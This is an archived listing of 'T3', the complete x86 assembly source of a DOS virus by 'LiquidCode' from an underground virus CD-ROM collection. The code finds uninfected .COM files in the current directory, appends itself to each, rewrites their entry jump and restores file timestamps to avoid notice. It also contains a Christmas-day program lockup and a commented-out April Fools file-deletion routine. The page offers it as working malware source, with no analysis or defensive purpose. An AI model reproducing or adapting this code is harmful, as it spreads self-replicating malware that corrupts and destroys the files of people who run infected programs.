Underground

home *** CD-ROM | disk | FTP | other *** search

/ Underground / Underground CD1.iso / virii / zrodla / t / t3.asm next >

Wrap

Assembly Source File | 1998-01-14 | 5.9 KB | 362 lines

;LiquidCode --- T3 ; ; Virus ;This version: ;Searches current directory for non-infected com files, if any found ;it will become infected! ;This virus has a routine which self-destructs itself and uninfects ;the file. assume cs:code .286 code segment "code" org 0100h start proc jmp v_start ;first 5 bytes | nop ; | nop ; | v_start: call $+3 ;Actual virus pop dx sub dx, 3 push dx ;save relocation factor in BP pop bp ;so virus can be copied anywhere twoards mov si, dx ;the end of the file ; ; Replace first 5 bytes in memory with original ; program code so normal program can run later add si, first_five mov di, 0100h mov cx, 5 lodsb stosb loop $-2 ;see if user want to disinfect this file ; mov si, 82h ; lodsb ; cmp al, "[" ;is al the code to disinfect? "[" ; jne ok_dont_disinfect ; jmp self_kill ok_dont_disinfect: ;here should be date checks to see ;if an evil function should be unleashed!! mov ah, 2ah int 21h ;cx year 1980-2099 ;dh month 1-12 ;dl day ;al day of week 0=sun 1=mon -> 7=sat cmp dh, 12 jne notdec cmp dl, 25 jne notdec jmp christmas notdec: cmp dh, 4 jne notapril cmp dl, 1 jne notapril ; jmp aprilfools notapril: ;Set the DTA call set_dta ;find first file to ?infect? call find_first_file go_again: mov si, bp add si, size_ lodsw cmp ax, 5 ja gd4 jmp resrch gd4: call open_file mov bx, ax mov al, 0 call date_time mov ah, 3fh mov cx, 5 mov dx, bp add dx, first_five int 21h ;**** mov ax, 4202h mov cx, 0 mov ax, 4202h mov dx, cx int 21h sub ax, 3 mov si, bp add si, new_5 mov [si+1], ax mov si, bp mov di, si add si, chkmark add di, mark mov cx, 2 repe cmpsb jne INFECT ;File found was previously infected! ; search for new one now. jmp resrch wipe_name: push di push ax push cx mov di, bp add di, name_ mov cx, 13 mov al, 0 rep stosb pop cx pop ax pop di ret resrch: call wipe_name mov ah, 4fh int 21h jnc gd3 jmp term_virus gd3: jmp go_again INFECT: ;Time to infect the file!! mov si, bp add si, handle mov bx, [si] mov cx, vsize mov dx, bp call wipe_name mov ax, 4000h int 21h mov ax, 4200h mov cx, 0 mov dx, cx int 21h mov dx, bp add dx, new_5 mov ax, 4000h mov cx, 5 int 21h mov al, 1 call date_time mov ax, 3e00h int 21h jmp resrch fndnam proc mov si, env mov ax, [si] mov es, ax mov ds, ax mov si, 0 mov di, si __lp: lodsb cmp al, 0 je chknxt stosb jmp __lp chknxt: stosb lodsb cmp al, 0 je fnd1 stosb jmp __lp fnd1: stosb __lp2: lodsb cmp al, "a" jae ff_ up2: cmp al, "A" jae fff_ up3: stosb jmp __lp2 ff_: cmp al,"z" jbe fnd jmp up2 fff_: cmp al, "Z" jbe fnd jmp up3 fnd: mov si, di mov al, 0 repne scasb mov dx, si mov di, dx ret env equ 2ch fndnam endp self_kill: ;this procedure disinfects specified files ;SI points to the name of current file on disk ;which is infected call fndnam ;find name of current file from env block in memory jmp gd__ abrt: int 20h gd__: mov ax, 3d02h int 21h jc abrt mov bx, ax mov ax, cs mov ds, ax mov es, ax mov cx, 5 mov dx, bp add dx, first_five call wipe_name mov ax, 4000h int 21h jc abrt mov dx, 0 mov cx, 0 mov ax, 4202h int 21h jnc gd__1 jmp abrt gd__1: sub ax, vsize mov dx, ax mov cx, 0 mov ax, 4200h int 21h call wipe_name mov cx, 0 mov ax, 4000h int 21h mov ax, 3e00h int 21h jmp term_virus date_time: pusha mov ah, 57h cmp al, 0 je fnd__$ mov di, bp mov si, di add di, date add si, time mov dx, [di] mov cx, [si] int 21h jmp ret__ fnd__$: int 21h mov si, bp mov di, bp add si, time add di, date mov [si], cx mov [di], dx ret__: popa ret open_file: mov dx, bp add dx, name_ mov ax, 3d02h int 21h jnc gd2 jmp term_virus gd2: mov si, bp add si, handle mov [si], ax ret find_first_file: mov dx, bp mov cx, 0 mov ah, 4eh add dx, all_com_files int 21h jnc gd1 jmp term_virus gd1: ret set_dta: mov dx, bp mov ah, 1ah add dx, dta int 21h ret term_virus: mov ax, 0 mov bx, ax mov cx, bx mov dx, cx mov si, 0100h mov di, -1 mov bp, di push 0100h ret CHRISTMAS: ;Program Lockup ; Exit without running program int 20h ;APRILFOOLS: ;Ha Ha delete current file ; call fndnam ; mov ah, 41h ; int 21h ; mov ax, cs ; mov ds, ax ; mov es, ax ; jmp term_virus ; Data Bank _fstfive: int 20h nop ckmrk: nop nop acf db "*.COM",0 dt_ dw 0 tme dw 0 d_t_a: rfd db 21 dup (0) att db 0 dw 0 dw 0 sz dd 0 n_me db 13 dup (0),0 handl dw 0 nw_5 db 0e9h,0,0 mrk db "<T3> " strain db "<tm>LiquidCode 92" ; end___: first_five = offset _fstfive-0105h all_com_files = offset acf-0105h dta = offset d_t_a-0105h attribute = offset att-0105h time = offset tme-0105h date = offset dt_-0105h size_ = offset sz-0105h name_ = offset n_me-0105h handle = offset handl-0105h new_5 = offset nw_5-0105h mark = offset mrk-0105h chkmark = offset ckmrk-0105h vsize = offset end___-0105h start endp code ends end start ; ───────────────────────────────────────────────────────────────────────── ; ────────────────────> and Remember Don't Forget to Call <──────────────── ; ────────────> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <────────── ; ─────────────────────────────────────────────────────────────────────────